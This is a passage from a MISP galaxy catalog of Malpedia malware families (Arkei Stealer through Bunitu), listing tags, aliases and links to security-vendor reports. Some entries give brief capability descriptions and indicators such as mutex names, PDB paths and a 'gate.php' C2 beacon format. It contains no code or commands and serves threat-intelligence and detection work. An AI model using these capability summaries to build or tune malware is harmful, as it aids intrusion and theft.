http://remote-keylogger.net/
https://www.invincea.com/2016/09/crimeware-as-a-service-goes-mainstream/

Arkei Stealer

The tag is: misp-galaxy:malpedia="Arkei Stealer"

Arkei Stealer is also known as:

Table 1076. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer
https://www.bleepingcomputer.com/news/security/hacker-breaches-syscoin-github-account-and-poisons-official-client/

ARS VBS Loader

ARS Loader, also known as ARS VBS Loader, is written in Visual Basic Script and its main purpose is to control an infected machine via different available commands, acting as a remote access trojan (RAT). Its code is based on ASPC, another Visual Basic Script malware, which at the same time seems to be based on SafeLoader.

The tag is: misp-galaxy:malpedia="ARS VBS Loader"

ARS VBS Loader is also known as:

Table 1077. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ars_loader
https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/
https://twitter.com/Racco42/status/1001374490339790849
https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/

Artra Downloader

The tag is: misp-galaxy:malpedia="Artra Downloader"

Artra Downloader is also known as:

Table 1078. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.artra
https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/

AscentLoader

The tag is: misp-galaxy:malpedia="AscentLoader"

AscentLoader is also known as:

Table 1079. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader

ASPC

The tag is: misp-galaxy:malpedia="ASPC"

ASPC is also known as:

Table 1080. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aspc

Asprox

The tag is: misp-galaxy:malpedia="Asprox"

Asprox is also known as:

Aseljo
BadSrc

Table 1081. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox
https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/
https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign
http://oalabs.openanalysis.net/2014/12/04/inside-the-new-asprox-kuluoz-october-2013-january-2014/

AthenaGo RAT

The tag is: misp-galaxy:malpedia="AthenaGo RAT"

AthenaGo RAT is also known as:

Table 1082. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.athenago
http://blog.talosintel.com/2017/02/athena-go.html

ATI-Agent

The tag is: misp-galaxy:malpedia="ATI-Agent"

ATI-Agent is also known as:

Table 1083. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

ATMii

The tag is: misp-galaxy:malpedia="ATMii"

ATMii is also known as:

Table 1084. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmii
https://securelist.com/atmii-a-small-but-effective-atm-robber/82707/

ATMitch

The tag is: misp-galaxy:malpedia="ATMitch"

ATMitch is also known as:

Table 1085. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch
https://securelist.com/blog/sas/77918/atmitch-remote-administration-of-atms/

Atmosphere

The tag is: misp-galaxy:malpedia="Atmosphere"

Atmosphere is also known as:

Table 1086. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere
https://www.group-ib.com/resources/threat-research/silence.html

ATMSpitter

The ATMSpitter family consists of command-line tools designed to control the cash dispenser of an ATM through function calls to either CSCWCNG.dll or MFSXFS.dll. Both libraries are legitimate Windows drivers used to interact with the components of different ATM models.

The tag is: misp-galaxy:malpedia="ATMSpitter"

ATMSpitter is also known as:

Table 1087. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter
https://quoscient.io/reports/QuoINT_INTBRI_New_ATMSpitter.pdf
https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf

August Stealer

The tag is: misp-galaxy:malpedia="August Stealer"

August Stealer is also known as:

Table 1088. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.august_stealer
https://www.proofpoint.com/us/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene
https://hazmalware.blogspot.de/2016/12/analysis-of-august-stealer-malware.html

Auriga

The tag is: misp-galaxy:malpedia="Auriga"

Auriga is also known as:

Riodrv

Table 1089. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Aurora

Ransomware

The tag is: misp-galaxy:malpedia="Aurora"

Aurora is also known as:

Table 1090. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora
https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/
https://www.bleepingcomputer.com/ransomware/decryptor/how-to-decrypt-the-aurora-ransomware-with-auroradecrypter/

AvastDisabler

The tag is: misp-galaxy:malpedia="AvastDisabler"

AvastDisabler is also known as:

Table 1091. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler
https://securityintelligence.com/exposing-av-disabling-drivers-just-in-time-for-lunch/

AVCrypt

The tag is: misp-galaxy:malpedia="AVCrypt"

AVCrypt is also known as:

Table 1092. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt
https://www.bleepingcomputer.com/news/security/the-avcrypt-ransomware-tries-to-uninstall-your-av-software/

Aveo

The tag is: misp-galaxy:malpedia="Aveo"

Aveo is also known as:

Table 1093. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo
http://researchcenter.paloaltonetworks.com/2016/08/unit42-aveo-malware-family-targets-japanese-speaking-users/

Ave Maria

Information stealer which uses AutoIT for wrapping.

The tag is: misp-galaxy:malpedia="Ave Maria"

Ave Maria is also known as:

AVE_MARIA

Table 1094. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria
https://blog.yoroi.company/research/the-ave_maria-malware/

Avzhan

The tag is: misp-galaxy:malpedia="Avzhan"

Avzhan is also known as:

Table 1095. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan
https://blog.malwarebytes.com/threat-analysis/2018/02/avzhan-ddos-bot-dropped-by-chinese-drive-by-attack/

Ayegent

The tag is: misp-galaxy:malpedia="Ayegent"

Ayegent is also known as:

Table 1096. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent

Azorult

AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.

The tag is: misp-galaxy:malpedia="Azorult"

Azorult is also known as:

PuffStealer
Rultazo

Table 1097. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult
https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/
https://blog.minerva-labs.com/puffstealer-evasion-in-a-cloak-of-multiple-layers
https://malwarebreakdown.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html
https://blog.minerva-labs.com/azorult-now-as-a-signed-google-update
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside
https://malwarebreakdown.com/2017/11/12/seamless-campaign-delivers-ramnit-via-rig-ek-at-188-225-82-158-follow-up-malware-is-azorult-stealer/
https://www.blueliv.com/blog-news/research/azorult-crydbrox-stops-sells-malware-credential-stealer/
https://research.checkpoint.com/the-emergence-of-the-new-azorult-3-3/

Babar

The tag is: misp-galaxy:malpedia="Babar"

Babar is also known as:

SNOWBALL

Table 1098. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babar
http://www.spiegel.de/media/media-35683.pdf
https://researchcenter.paloaltonetworks.com/2017/09/unit42-analysing-10-year-old-snowball/
https://drive.google.com/a/cyphort.com/file/d/0B9Mrr-en8FX4dzJqLWhDblhseTA/
https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope
https://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/

BabyLon RAT

The tag is: misp-galaxy:malpedia="BabyLon RAT"

BabyLon RAT is also known as:

Table 1099. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babylon_rat
https://twitter.com/KorbenD_Intel/status/1110654679980085262

BABYMETAL

The tag is: misp-galaxy:malpedia="BABYMETAL"

BABYMETAL is also known as:

Table 1100. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babymetal
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html

BACKBEND

FireEye describes BACKBEND as a secondary downloader used as a backup mechanism in the case the primary backdoor is removed. When executed, BACKBEND checks for the presence of the mutexes MicrosoftZj or MicrosoftZjBak (both associated with BACKSPACE variants). If either of the mutexes exist, the malware exits.

The tag is: misp-galaxy:malpedia="BACKBEND"

BACKBEND is also known as:

Table 1101. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backbend
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

BackNet

The tag is: misp-galaxy:malpedia="BackNet"

BackNet is also known as:

Table 1102. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backnet
https://github.com/valsov/BackNet

backspace

The tag is: misp-galaxy:malpedia="backspace"

backspace is also known as:

Table 1103. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

BackSwap

The tag is: misp-galaxy:malpedia="BackSwap"

BackSwap is also known as:

Table 1104. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backswap
https://securityintelligence.com/backswap-malware-now-targets-six-banks-in-spain/
https://www.f5.com/labs/articles/threat-intelligence/backswap-defrauds-online-banking-customers-using-hidden-input-fi
https://www.cert.pl/en/news/single/backswap-malware-analysis/
https://research.checkpoint.com/the-evolution-of-backswap/
https://www.cyberbit.com/blog/endpoint-security/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/

BadEncript

The tag is: misp-galaxy:malpedia="BadEncript"

BadEncript is also known as:

Table 1105. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badencript
https://twitter.com/PhysicalDrive0/status/833067081981710336

badflick

BADFLICK, a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration.

The tag is: misp-galaxy:malpedia="badflick"

badflick is also known as:

Table 1106. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://blog.amossys.fr/badflick-is-not-so-bad.html

BadNews

The tag is: misp-galaxy:malpedia="BadNews"

BadNews is also known as:

Table 1107. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews
http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-1
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf
https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2

Bagle

The tag is: misp-galaxy:malpedia="Bagle"

Bagle is also known as:

Table 1108. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bagle

Bahamut (Windows)

The tag is: misp-galaxy:malpedia="Bahamut (Windows)"

Bahamut (Windows) is also known as:

Table 1109. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bahamut
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/
https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/

Baldir

The tag is: misp-galaxy:malpedia="Baldir"

Baldir is also known as:

Baldr

Table 1110. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.baldir
https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/
https://www.youtube.com/watch?v=E2V4kB_gtcQ

Banatrix

The tag is: misp-galaxy:malpedia="Banatrix"

Banatrix is also known as:

Table 1111. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.banatrix
https://www.cert.pl/en/news/single/banatrix-an-indepth-look/

bangat

The tag is: misp-galaxy:malpedia="bangat"

bangat is also known as:

Table 1112. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bangat
https://www.slideshare.net/YuryChemerkin/appendix-c-digital-the-malware-arsenal

Banjori

The tag is: misp-galaxy:malpedia="Banjori"

Banjori is also known as:

BackPatcher
BankPatch
MultiBanker 2

Table 1113. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori
http://blog.kleissner.org/?p=69
http://osint.bambenekconsulting.com/feeds/
https://www.johannesbader.ch/2015/02/the-dga-of-banjori/
http://blog.kleissner.org/?p=192

Bankshot

The tag is: misp-galaxy:malpedia="Bankshot"

Bankshot is also known as:

Table 1114. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF
https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/

Bart

The tag is: misp-galaxy:malpedia="Bart"

Bart is also known as:

Table 1115. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bart

BatchWiper

The tag is: misp-galaxy:malpedia="BatchWiper"

BatchWiper is also known as:

Table 1116. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper
http://contagiodump.blogspot.com/2012/12/batchwiper-samples.html

Batel

The tag is: misp-galaxy:malpedia="Batel"

Batel is also known as:

Table 1117. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.batel

BBSRAT

The tag is: misp-galaxy:malpedia="BBSRAT"

BBSRAT is also known as:

Table 1118. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat
https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/

Beapy

The tag is: misp-galaxy:malpedia="Beapy"

Beapy is also known as:

Table 1119. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.beapy
https://www.symantec.com/blogs/threat-intelligence/beapy-cryptojacking-worm-china

Bedep

The tag is: misp-galaxy:malpedia="Bedep"

Bedep is also known as:

Table 1120. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep

beendoor

BEENDOOR is a XMPP based trojan. It is capable of taking screenshots of the victim’s desktop.

The tag is: misp-galaxy:malpedia="beendoor"

beendoor is also known as:

Table 1121. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.beendoor
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

Belonard

Once set up in the system, Trojan.Belonard replaces the list of available game servers in the game client and creates proxies on the infected computer to spread the Trojan. As a rule, proxy servers show a lower ping, so other players will see them at the top of the list. By selecting one of them, a player gets redirected to a malicious server where their computer become infected with Trojan.Belonard.

The tag is: misp-galaxy:malpedia="Belonard"

Belonard is also known as:

Table 1122. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.belonard
https://news.drweb.com/show/?i=13135&c=23&lng=en&p=0

Berbomthum

The tag is: misp-galaxy:malpedia="Berbomthum"

Berbomthum is also known as:

Table 1123. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.berbomthum
https://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-use-malicious-memes-that-communicate-with-malware/

BernhardPOS

The tag is: misp-galaxy:malpedia="BernhardPOS"

BernhardPOS is also known as:

Table 1124. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos
https://securitykitten.github.io/2015/07/14/bernhardpos.html

BetaBot

The tag is: misp-galaxy:malpedia="BetaBot"

BetaBot is also known as:

Neurevt

Table 1125. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot
https://www.cybereason.com/blog/betabot-banking-trojan-neurevt
https://medium.com/@woj_ciech/betabot-still-alive-with-multi-stage-packing-fbe8ef211d39
https://www.ccn-cert.cni.es/seguridad-al-dia/comunicados-ccn-cert/6087-betabot-y-fleercivet-dos-nuevos-informes-de-codigo-danino-del-ccn-cert.html
http://www.xylibox.com/2015/04/betabot-retrospective.html
https://asert.arbornetworks.com/beta-bot-a-code-review/
http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/BetaBot.pdf?la=en
http://www.malwaredigger.com/2013/09/how-to-extract-betabot-config-info.html

Bezigate

Bezigate is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.

The Trojan may perform the following actions: List, move, and delete drives List, move, and delete files List processes and running Windows titles List services List registry values Kill processes Maximize, minimize, and close windows Upload and download files Execute shell commands Uninstall itself

The tag is: misp-galaxy:malpedia="Bezigate"

Bezigate is also known as:

Table 1126. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bezigate
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

BfBot

The tag is: misp-galaxy:malpedia="BfBot"

BfBot is also known as:

Table 1127. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bfbot

BillGates

BillGates is a modularized malware, of supposedly Chinese origin. Its main functionality is to perform DDoS attacks, with support for DNS amplification. Often, BillGates is delivered with one or many backdoor modules.

BillGates is available for *nix-based systems as well as for Windows.

On Windows, the (Bill)Gates installer typically contains the various modules as linked resources.

The tag is: misp-galaxy:malpedia="BillGates"

BillGates is also known as:

Table 1128. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates
https://securelist.com/versatile-ddos-trojan-for-linux/64361/
https://habrahabr.ru/post/213973/
https://www.akamai.com/kr/ko/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf

BioData

The tag is: misp-galaxy:malpedia="BioData"

BioData is also known as:

Table 1129. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.biodata
https://unit42.paloaltonetworks.com/unit42-recent-inpage-exploits-lead-multiple-malware-families/
https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/

Biscuit

The tag is: misp-galaxy:malpedia="Biscuit"

Biscuit is also known as:

zxdosml

Table 1130. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.biscuit
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Bitsran

The tag is: misp-galaxy:malpedia="Bitsran"

Bitsran is also known as:

Table 1131. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsran
http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html

Bitter RAT

The tag is: misp-galaxy:malpedia="Bitter RAT"

Bitter RAT is also known as:

Table 1132. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat
https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/
https://www.forcepoint.com/blog/security-labs/bitter-targeted-attack-against-pakistan

BKA Trojaner

BKA Trojaner is a screenlocker ransomware that was active in 2011, displaying a police-themed message in German language.

The tag is: misp-galaxy:malpedia="BKA Trojaner"

BKA Trojaner is also known as:

bwin3_bka

Table 1133. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bka_trojaner
https://www.evild3ad.com/405/bka-trojaner-ransomware/

BLACKCOFFEE

a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft’s Technet portal.

The tag is: misp-galaxy:malpedia="BLACKCOFFEE"

BLACKCOFFEE is also known as:

Table 1134. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://attack.mitre.org/software/S0069/
https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf
http://malware-log.hatenablog.com/entry/2015/05/18/000000_1

BlackEnergy

The tag is: misp-galaxy:malpedia="BlackEnergy"

BlackEnergy is also known as:

Table 1135. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy
https://securelist.com/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/73440/
https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/
https://marcusedmondson.com/2019/01/18/black-energy-analysis/
https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/

BlackPOS

BlackPOS infects computers running on Windows that have credit card readers connected to them and are part of a POS system. POS system computers can be easily infected if they do not have the most up to date operating systems and antivirus programs to prevent security breaches or if the computer database systems have weak administration login credentials.

The tag is: misp-galaxy:malpedia="BlackPOS"

BlackPOS is also known as:

Kaptoxa
POSWDS
Reedum

Table 1136. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos
https://blog.trendmicro.com/trendlabs-security-intelligence/new-blackpos-malware-emerges-in-the-wild-targets-retail-accounts/

BlackRevolution

The tag is: misp-galaxy:malpedia="BlackRevolution"

BlackRevolution is also known as:

Table 1137. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrevolution
https://www.arbornetworks.com/blog/asert/the-revolution-will-be-written-in-delphi/

BlackRouter

The tag is: misp-galaxy:malpedia="BlackRouter"

BlackRouter is also known as:

BLACKHEART

Table 1138. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrouter
https://www.bleepingcomputer.com/news/security/blackrouter-ransomware-promoted-as-a-raas-by-iranian-developer/
https://blog.trendmicro.com/trendlabs-security-intelligence/legitimate-application-anydesk-bundled-with-new-ransomware-variant/

BlackShades

The tag is: misp-galaxy:malpedia="BlackShades"

BlackShades is also known as:

Table 1139. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades
https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/
https://blog.malwarebytes.com/threat-analysis/2012/06/blackshades-in-syria/
http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-2-blackshades-net/

Boaxxe

The tag is: misp-galaxy:malpedia="Boaxxe"

Boaxxe is also known as:

Table 1140. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boaxxe
https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/

Bohmini

The tag is: misp-galaxy:malpedia="Bohmini"

Bohmini is also known as:

Table 1141. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini

Bolek

The tag is: misp-galaxy:malpedia="Bolek"

Bolek is also known as:

KBOT

Table 1142. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bolek
https://asert.arbornetworks.com/communications-bolek-trojan/
http://www.cert.pl/news/11379

Bouncer

The tag is: misp-galaxy:malpedia="Bouncer"

Bouncer is also known as:

Table 1143. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bouncer
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Bozok

The tag is: misp-galaxy:malpedia="Bozok"

Bozok is also known as:

Table 1144. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bozok
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html
https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe

BRAIN

The tag is: misp-galaxy:malpedia="BRAIN"

BRAIN is also known as:

Table 1145. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brain
https://www.welivesecurity.com/2017/01/18/flashback-wednesday-pakistani-brain/

Brambul

The tag is: misp-galaxy:malpedia="Brambul"

Brambul is also known as:

Table 1146. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul
https://www.us-cert.gov/ncas/alerts/TA18-149A
https://www.us-cert.gov/ncas/analysis-reports/AR18-149A
https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/

BravoNC

The tag is: misp-galaxy:malpedia="BravoNC"

BravoNC is also known as:

Table 1147. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

BreachRAT

This is a backdoor which FireEye call the Breach Remote Administration Tool (BreachRAT), written in C++. The malware name is derived from the hardcoded PDB path found in the RAT: C:\Work\Breach Remote Administration Tool\Release\Client.pdb

The tag is: misp-galaxy:malpedia="BreachRAT"

BreachRAT is also known as:

Table 1148. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.breach_rat
https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html

Breakthrough

There is no reference available for this family and all known samples have version 1.0.0.

Pdb-strings in the samples suggest that this is an "exclusive" loader, known as "breakthrough" (maybe), e.g. C:\Users\Exclusiv\Desktop\хп-пробив\Release\build.pdb

The communication url parameters are pretty unique in this combination: gate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8

<OS> is one of: Windows95 Windows98 WindowsMe Windows95family WindowsNT3 WindowsNT4 Windows2000 WindowsXP WindowsServer2003 WindowsNTfamily WindowsVista Windows7 Windows8 Windows10

The tag is: misp-galaxy:malpedia="Breakthrough"

Breakthrough is also known as:

Table 1149. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader

Bredolab

The tag is: misp-galaxy:malpedia="Bredolab"

Bredolab is also known as:

Table 1150. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab
https://securelist.com/end-of-the-line-for-the-bredolab-botnet/36335/
https://www.fireeye.com/blog/threat-research/2010/10/bredolab-its-not-the-size-of-the-dog-in-fight.html

BrushaLoader

The tag is: misp-galaxy:malpedia="BrushaLoader"

BrushaLoader is also known as:

Table 1151. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brushaloader
https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html

BrutPOS

The tag is: misp-galaxy:malpedia="BrutPOS"

BrutPOS is also known as:

Table 1152. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brutpos
https://www.fireeye.com/blog/threat-research/2014/07/brutpos-rdp-bruteforcing-botnet-targeting-pos-systems.html

BS2005

The tag is: misp-galaxy:malpedia="BS2005"

BS2005 is also known as:

Table 1153. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005
https://github.com/nccgroup/Royal_APT
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

BTCWare

The tag is: misp-galaxy:malpedia="BTCWare"

BTCWare is also known as:

Table 1154. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware
https://www.bleepingcomputer.com/news/security/new-nuclear-btcware-ransomware-released-updated/

BUBBLEWRAP

BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities.

The tag is: misp-galaxy:malpedia="BUBBLEWRAP"

BUBBLEWRAP is also known as:

Table 1155. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html
https://attack.mitre.org/software/S0043/

Bugat

The tag is: misp-galaxy:malpedia="Bugat"

Bugat is also known as:

Table 1156. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bugat_alreadydump

Buhtrap

The tag is: misp-galaxy:malpedia="Buhtrap"

Buhtrap is also known as:

Ratopak

Table 1157. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap
https://malware-research.org/carbanak-source-code-leaked/
https://www.symantec.com/connect/blogs/russian-bank-employees-received-fake-job-offers-targeted-email-attack
https://www.welivesecurity.com/2015/04/09/operation-buhtrap/
https://www.group-ib.com/brochures/gib-buhtrap-report.pdf
https://www.arbornetworks.com/blog/asert/diving-buhtrap-banking-trojan-activity/
https://blog.dcso.de/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/

Bundestrojaner

The tag is: misp-galaxy:malpedia="Bundestrojaner"

Bundestrojaner is also known as:

0zapftis
R2D2

Table 1158. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner
http://www.stoned-vienna.com/analysis-of-german-bundestrojaner.html
https://www.f-secure.com/weblog/archives/00002249.html
http://www.ccc.de/system/uploads/76/original/staatstrojaner-report23.pdf

Bunitu

Bunitu is a trojan that exposes infected computers to be used as a proxy for remote clients. It registers itself at startup by providing its address and open ports. Access to Bunitu proxies is available by using criminal VPN services (e.g.VIP72).

The tag is: misp-galaxy:malpedia="Bunitu"

Bunitu is also known as:

Table 1159. Table References
Links
